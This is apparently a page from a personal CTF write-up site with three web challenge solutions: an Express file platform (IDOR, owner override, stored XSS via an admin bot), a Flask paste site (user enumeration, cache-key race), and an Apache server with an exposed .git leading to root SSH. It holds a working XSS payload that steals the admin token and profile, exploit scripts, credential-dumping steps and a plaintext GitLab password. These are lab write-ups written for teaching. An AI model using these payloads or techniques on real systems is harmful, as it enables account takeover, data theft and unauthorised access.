
## Overview

**Target:** `http://worker01.ctfd.live:13804`

The application is an Express-based platform with authentication (JWT), a file upload feature, user profiles, and an admin “headless bot” that visits reported content.

## Findings

1. **IDOR / Broken Access Control**
   - `GET /api/files/:id` and the global listing `GET /api/files` allow any authenticated user to access arbitrary files, including `flag.txt`.

2. **Insecure Direct Object Ownership (owner override)**
   - `POST /api/files/upload` trusts a client-controlled `userId` field. This allows creating files owned by another user (including admin).

3. **Stored XSS (admin-bot trigger)**
   - File names are injected into the UI via `innerHTML` without escaping (referenced as `files.js`). A crafted filename leads to stored XSS.
   - The payload can be executed in the admin context via the reporting endpoint/bot (`/api/report`).

4. **Predictable ObjectId proximity (weak brute-force space)**
   - The admin `_id` appears close to the file id near the flag (e.g., `6951c954…6889`). This reduces the search space for a targeted guess.

## Step-by-step Exploitation

### 1 Register an account and obtain a JWT

```bash
curl -s -X POST "$URL/api/auth/register" \
  -H 'Content-Type: application/json' \
  -d '{"username":"attacker","password":"Password123!"}'
```

This returns a token (and, in my run, an id similar to `6951cf7b8df71f4e604f68fa`).

### 2 FLAG_1 — Direct file exposure

The first flag was accessible directly from the uploads path:

```bash
curl -s http://worker01.ctfd.live:13804/uploads/flag.txt
```

Result:

`FLAG{*************}`

### 3 FLAG_2 - Prepare stored XSS + owner impersonation

The goal is to get code execution in the admin session (via the headless bot) and exfiltrate the profile data/flag.

High-level idea:

- Guess the admin user id around `6951c9548df71f4e604f68XX` (close to the flag file id).
- Upload a file **owned by the guessed admin** by setting `userId` in `/api/files/upload`.
- Use a malicious `filename` that triggers XSS in the admin UI.
- When the bot visits, the payload reads `/api/profile` using the admin token and re-uploads the stolen content into **our** account as `loot_<tag>.txt`.

Example payload:

```js
(async()=>{
  const t=localStorage.getItem('token');
  if(!t) return;
  const r=await fetch('/api/profile',{headers:{'X-Access-Token':t}});
  const j=await r.json();
  await fetch('/api/files/upload',{
    method:'POST',
    headers:{'X-Access-Token':t,'Content-Type':'application/json'},
    body:JSON.stringify({
      filename:'loot_<tag>.txt',
      content:btoa(j.flag||''),
      userId:'6951cf7b8df71f4e604f68fa'
    })
  });
})()
```

Injected via a filename such as:

`pwn_<tag>");</button><img src=x onerror="<payload>">`

### 4 Upload the XSS file (as admin) using your token

```bash
curl -s -X POST "$URL/api/files/upload" \
  -H "X-Access-Token: $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"filename":"pwn_<tag>\");</button><img src=x onerror=\"<payload>\">","content":"dGVzdA==","userId":"<adminIdGuess>"}'
```

### 5 Trigger the admin bot

```bash
curl -s "$URL/api/report" -H "X-Access-Token: $TOKEN"
```

### 6 Retrieve the loot file from your own account

List your files:

```bash
curl -s "$URL/api/files/me" -H "X-Access-Token: $TOKEN"
```

Download the loot file by id (example id: `6951d2b38df71f4e604f694f`):

```bash
curl -s "$URL/api/files/6951d2b38df71f4e604f694f" \
  -H "X-Access-Token: $TOKEN"
```

Result:

`FLAG{**************}`

Admin impact was achieved by chaining **IDOR + owner override + stored XSS** to execute JavaScript in the admin session and re-upload the extracted data.


Writeup for a french challenge focusing on IDOR, stored XSS, and broken access control in an Express file platform.

Hodor


## Overview

**Challenge summary**

> “I only had one job! Reading Larry's message at 6:00 on this pastebin-like website.”
> You woke up at 9:30. Find another way to get in touch with Larry.

The application is open-source. We know:

- Larry uses his real name as a username.
- He likes **l33tsp34k**.
- The flag format is: `ECW{username-phone_number-domain_name_of_his_email}`

## 1 — Username enumeration via `/dashboard/<username>`

In the open-source code (`app.py`), the route below is protected by `@login_required`, but it returns **different flash messages** depending on whether the user exists.

Key behavior:

- If the user does **not** exist ⇒ `"Stop trying to access other users dashboards or face consequences !"`
- If the user exists but is **not** you ⇒ `"You shouldn't access another user's dashboard. =("

This gives us a clean username-existence oracle as long as we’re authenticated.

Relevant excerpt:

```py
@app.route('/dashboard/<username>')
@cache.cached(timeout=0, unless=unauthorized)
@login_required
def dashboard(username):
    
	user = User.query.filter_by(username=username).first()
      
	if not user:
		flash("Stop trying to access other users dashboards or face consequences !")
		return redirect(url_for('errorpage'))

	if user.id != current_user.id:
		flash("You shouldn't access another user's dashboard. =(")
		flash("User " + user.username + " has been alerted.")
		return redirect(url_for('errorpage'))
      
	return render_template('dashboard.html', name=current_user.username, email=current_user.email, phone=current_user.phone)
```

## Brute-forcing Larry’s leetspeak username

We create any account (example: `ThaySan:password`) and then generate leetspeak permutations for `larry`. Using `pyleetspeak` (all combinations), we test each candidate against `/dashboard/<candidate>` and look for the “user exists” message.

```py
from requests import Session
from bs4 import BeautifulSoup
from pyleetspeak.LeetSpeaker import LeetSpeaker

HOST = "challenges.challenge-ecw.eu"
PORT = 34497
URL = f"http://{HOST}:{PORT}"

USERNAME = "ThaySan"
PASSWORD = "password"


def login(session: Session, username: str, password: str):
	data = {"username": username, "password": password}
	session.post(f"{URL}/login", data=data, allow_redirects=False)


def get_dashboard_flash(session: Session, username: str) -> str:
	html = session.get(f"{URL}/dashboard/{username}").text
	return BeautifulSoup(html, 'html.parser').find('li').text


session = Session()
login(session, USERNAME, PASSWORD)

TARGET = "larry"
leeter = LeetSpeaker(
	mode="basic",
	get_all_combs=True,
	user_changes=[("l", "L"), ("r", "R"), ("y", "Y")],
)

for candidate in leeter.text2leet(TARGET):
	# If we get the “does not exist” message, keep searching
	if get_dashboard_flash(session, candidate).startswith("Stop trying"):
		continue
	print(f"FOUND: {candidate}")
	break
```

Output:

```text
FOUND: L4Rry
```

So Larry’s username is **`L4Rry`**.

## 2 — Cache key collision + race condition to leak the dashboard

The dashboard route is wrapped with:

```py
@cache.cached(timeout=0, unless=unauthorized)
```

This effectively makes dashboards **cacheable indefinitely**.

Separately, when posting a “paste/message”, the app:

1. Checks for duplicate titles in `message_list`
2. Appends to `message_list`
3. Sleeps for **0.5s**
4. Writes the message content into the cache using the title as the cache key

```py
# POST logic
if request.method == 'POST':
	data = request.get_json()

	for item in message_list:
		if data.get('title') == item.get('title'):
			return 'Title already in use !', 418

	message_list.append({"title": data.get('title'), "ttl": data.get('ttl'), "creation": int(time.time())})

	time.sleep(0.5)

	cache.set(data.get('title'), data.get('message'), timeout=data.get('ttl'))
	return "Ok"
```

When rendering the message list, the server iterates over `message_list` but pulls message bodies from the cache:

```py
sent_list = []
for item_dict in message_list:
	ttl = item_dict.get('ttl')
	creation = item_dict.get('creation')
	sent_list.append({
		"title": item_dict.get('title'),
		"message": cache.get(item_dict.get('title')),
		"ttl": item_dict.get('ttl') + item_dict.get('creation')-int(time.time())
	})
```

### Why this matters

Flask-Caching has a well-known default for view caching keys. By default, the key is derived from the request path, typically resembling:

`view/<request.path>`

So Larry’s cached dashboard at `/dashboard/L4Rry` maps to a key like:

`view//dashboard/L4Rry`

### Exploit primitive

If we create a paste with **title = `view//dashboard/L4Rry`**, the server will:

- Add it to `message_list` immediately
- Wait **0.5s** before overwriting that cache key

During that 0.5s window, when we fetch the home page (message list), the app will display:

- The entry from `message_list` (our title)
- But the message content from `cache.get(title)` which still contains **Larry’s cached dashboard HTML**

That gives us a time-of-check/time-of-use style leak.

## Leak Larry’s dashboard HTML : My solve script

Below is the final exploit script you provided (used as-is):

```py
import requests
from time import sleep

# Target URL
target = "http://challenges.challenge-ecw.eu:34497"

# Create a session to maintain cookies
session = requests.Session()

# Payload with the known username
data = {
	'title': 'view//dashboard/L4Rry',
	'ttl': 1,
	'message': "test"
}

print("Injecting payload...")
res = session.post(target + '/', headers={"Content-Type": "application/json"}, json=data)

print("Waiting 16 seconds for TTL to expire...")
sleep(16)

print("Retrieving content...")
res = requests.get(target)

if "Welcome" in res.text:
	print("✓ Success! Content saved to out.html")
	with open("out.html", "w") as f:
		f.write(res.text)
else:
	print("✗ Failed - No 'Welcome' content found")
	print(f"Response length: {len(res.text)} characters")
```

When the exploit hits, the leaked HTML contains:

- `Welcome, L4Rry!`
- `Your email is Congr@tulat.on!`
- `Your phone number is 1333333337!`

From `Congr@tulat.on!`, the **email domain** is `tulat.on`.

Final flag:

`ECW{L4Rry-1333333337-tulat.on}`


## Root cause summary

- **Information disclosure via differential error messages** ⇒ user enumeration.
- **Insecure cache key design** (user-controlled key space overlaps with internal view cache keys).
- **Race window** (0.5s sleep between list update and cache write) ⇒ reliable cache read-before-overwrite.



Writeup for a Hard web CTF challenge mainly focused on the web cache vulnerabilities during the European Cyber Week 2025

Tacticool Bin - ECW2025


## Recon / Enumeration

The challenge page provided a direct link to the target website. At first glance, it looked benign: a single clickable button that did nothing and a line indicating the last production deployment date.

![](https://raw.githubusercontent.com/math-x-io/Writeups/refs/heads/main/STHACK2025/img/luxtherm-site.png)

Using Wappalyzer, I identified the stack as Apache. I quickly probed a common path: `/.htaccess`, which returned a 403 (expected on a properly configured server).

Before running a full enumeration, I tried a few typical paths manually. By pure luck, `.git/HEAD` was publicly accessible.

## Dumping Apache Web Root Files via Exposed `.git/`

An exposed `.git/` directory is a classic repository disclosure. If the server allows access to `.git/`, it often becomes possible to reconstruct the entire working tree (and the full Git history), which can reveal sensitive implementation details and sometimes secrets left in the codebase or CI configuration.

To automate the extraction, I used [`git-dumper`](https://github.com/arthaud/git-dumper), a tool designed specifically for this scenario:

```sh
git-dumper http://51.15.214.59/.git ~/luxtherm
```

The dump produced multiple directories and files:

- `.git/`: full Git metadata and history
- `src/`: production deployment script(s)
- `var/www/`: application sources served by Apache
- `.gitignore`: ignored files/patterns
- `.gitlab-ci.yml`: CI pipeline responsible for auto-deploy on push ([GitLab CI/CD pipelines](https://docs.gitlab.com/ci/pipelines/))

I started by reviewing the deployment script `src/script.sh`:

```sh
#!/bin/bash

# Arrêter le script en cas d'erreur
set -e

echo 'Creation du chemin vers la clé SSH privée'
mkdir -p "$HOME/.ssh/"

echo 'Écrire la clé SSH privée dans un fichier'
SSH_PRIVATE_KEY_PATH="$HOME/.ssh/id_rsa"
echo "$SSH_PRIVATE_KEY" > "$SSH_PRIVATE_KEY_PATH"
chmod 600 "$SSH_PRIVATE_KEY_PATH"

echo 'verification'
ls -lisah "$SSH_PRIVATE_KEY_PATH"

echo 'Informations de connexion au serveur'
SERVER_USER="root"
SERVER_IP="51.15.214.59"


# Deployer le site web
scp -r -i "$SSH_PRIVATE_KEY_PATH" -o StrictHostKeyChecking=no var/www/html "$SERVER_USER@$SERVER_IP":/var/www/.

# Commande pour se connecter au serveur et déployer l'application
ssh -i "$SSH_PRIVATE_KEY_PATH" -o StrictHostKeyChecking=no "$SERVER_USER@$SERVER_IP" << 'EOF'
    # Commandes à exécuter sur le serveur

    # cette synthaxe est deprecated, elle est remplacée par le scp qq lignes plus haut
    # git clone https://root.luxtherm:2025sthacK+-/@gitlab.com/root.luxtherm-group/webapp-auto-deploy

    # indication de la date du dernier déploiement
    HORODATE=$(date)
    sed -i "s@MOTIF@$HORODATE@g" /var/www/html/index.html

    # Ajoutez ici d'autres commandes nécessaires pour construire et démarrer votre application
    # Par exemple :
    # npm install
    # npm run build
    # pm2 restart all
EOF

echo 'Supprimer la clé SSH privée après utilisation'
rm "$SSH_PRIVATE_KEY_PATH"
```

Key takeaways:

- The deployment user is `root`, meaning the pipeline deploys with full privileges.
- The GitLab repository is `gitlab.com/root.luxtherm-group/webapp-auto-deploy`.
- The deployment process relies on an SSH private key (`$SSH_PRIVATE_KEY`) injected via CI variables.

If we can retrieve that private key (or any credential that grants access to the CI logs), we can likely SSH as `root`.

## Hunting the SSH Private Key

First, I inspected the Git history:

```bash
git log

commit 0ab08cd06e26350b947341147bd9174c6ea98f8d
Author: ######
Date:   Tue May 20 22:37:28 2025 +0200

    Deploiement auto du site Luxtherm

commit a81b1787a5c8eccb4120dad9ebe9fbd32d1683d8
Author: root luxtherm root.luxtherm@gmail.com
Date:   Tue May 20 19:35:24 2025 +0000

    Modifier script.sh

commit e2adf9251214a15553e016b03e8568a2d0d2d1fb
Author: root luxtherm root.luxtherm@gmail.com
Date:   Tue May 20 19:26:44 2025 +0000

    Modifier script.sh

commit e71e6afa2acfb320817f10af3f63be03ab1402c5
Author: root luxtherm root.luxtherm@gmail.com
Date:   Tue May 20 17:35:05 2025 +0000

    Mettre à jour le fichier .gitlab-ci.yml

commit 0805a52efd200f3645167eb1d99ec2483793be0d
Author: root luxtherm root.luxtherm@gmail.com
Date:   Tue May 20 17:30:00 2025 +0000

    Mettre à jour le fichier .gitlab-ci.yml

commit f9da8bcf0c8a47c38a17745311634aec399174e3
Author: root luxtherm root.luxtherm@gmail.com
Date:   Tue May 20 17:29:31 2025 +0000

    Mettre à jour le fichier .gitlab-ci.yml

commit a11fd1dbf19fb66ecc64baef0cda3858490aa39f
Author: ######
Date:   Tue May 20 19:24:56 2025 +0200

    Premiere version de script de deploiement

commit ef88ce29f019a182d58c43a7dcafcb04e29fac45
Author: root luxtherm root.luxtherm@gmail.com
Date:   Tue May 20 17:17:52 2025 +0000

    Initial commit
```

I did not find a committed private key in previous revisions. Next, I reviewed `.gitlab-ci.yml`:

```yml
stages:
  - Deploy

job_Deploy:
  stage: Deploy
  script:
  - echo 'Pipeline de déploiement du site web en production'
  - echo 'NE PAS MODIFIER LE PIPELINE POUR QUE LE CHALLENGE RESTE JOUABLE POUR LES AUTRES, MERCI'
  - echo 'DEBUG:'$SSH_PRIVATE_KEY
  - chmod u+x src/script.sh
  - src/script.sh
```

This is a critical CI/CD anti-pattern: it prints a secret to the job logs:

`echo 'DEBUG:'$SSH_PRIVATE_KEY`

So the private key should be visible in pipeline output — if we can access the project.

However, the GitLab project was private, and attempting to access it resulted in a 403.

## Recovering GitLab Credentials from the Dump

Since the repository content was already dumped from the server, I searched through the dumped files and found credentials left in `.git/config`:

```
[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
[remote "origin"]
#root.luxtherm@gmail.com:********	
	url = https://root.luxtherm:2025sthacK+-/@gitlab.com/root.luxtherm-group/webapp-auto-deploy
	fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
	remote = origin
	merge = refs/heads/main
```

Normally, this file only contains Git configuration (remotes, branches, etc.). Here, a developer left the username/password in a comment and also embedded basic-auth credentials directly in the remote URL.

With these credentials, I could authenticate to GitLab and access the project.

## Reviewing the GitLab Project & CI Pipeline Logs

As expected, the same dumped files were present in the repository.

![](https://raw.githubusercontent.com/math-x-io/Writeups/refs/heads/main/STHACK2025/img/Luxtherm-git-1.png)

In the pipeline history, I found a successful run where the deploy job completed.

![](https://raw.githubusercontent.com/math-x-io/Writeups/refs/heads/main/STHACK2025/img/Luxtherm-git-3.png)

The private key was printed in clear text in the CI job output. After reformatting it and placing it in `~/.ssh/`, I could SSH into the target as root:

```bash
ssh root@51.15.214.59
```

Shell access as `root` made retrieving the flag straightforward.

Full writeup for the Luxtherm challenge during the STHACK2025 at Bordeaux, covering exposed .git repository leakage, CI/CD secrets disclosure, and SSH access.

WRITEUPS

Filter by Subject

Hodor

Tacticool Bin - ECW2025

Luxtherm - STHACK2025

WRITEUPSWRITEUPSWRITEUPS

Filter by Subject

Hodor

Tacticool Bin - ECW2025

Luxtherm - STHACK2025

WRITEUPS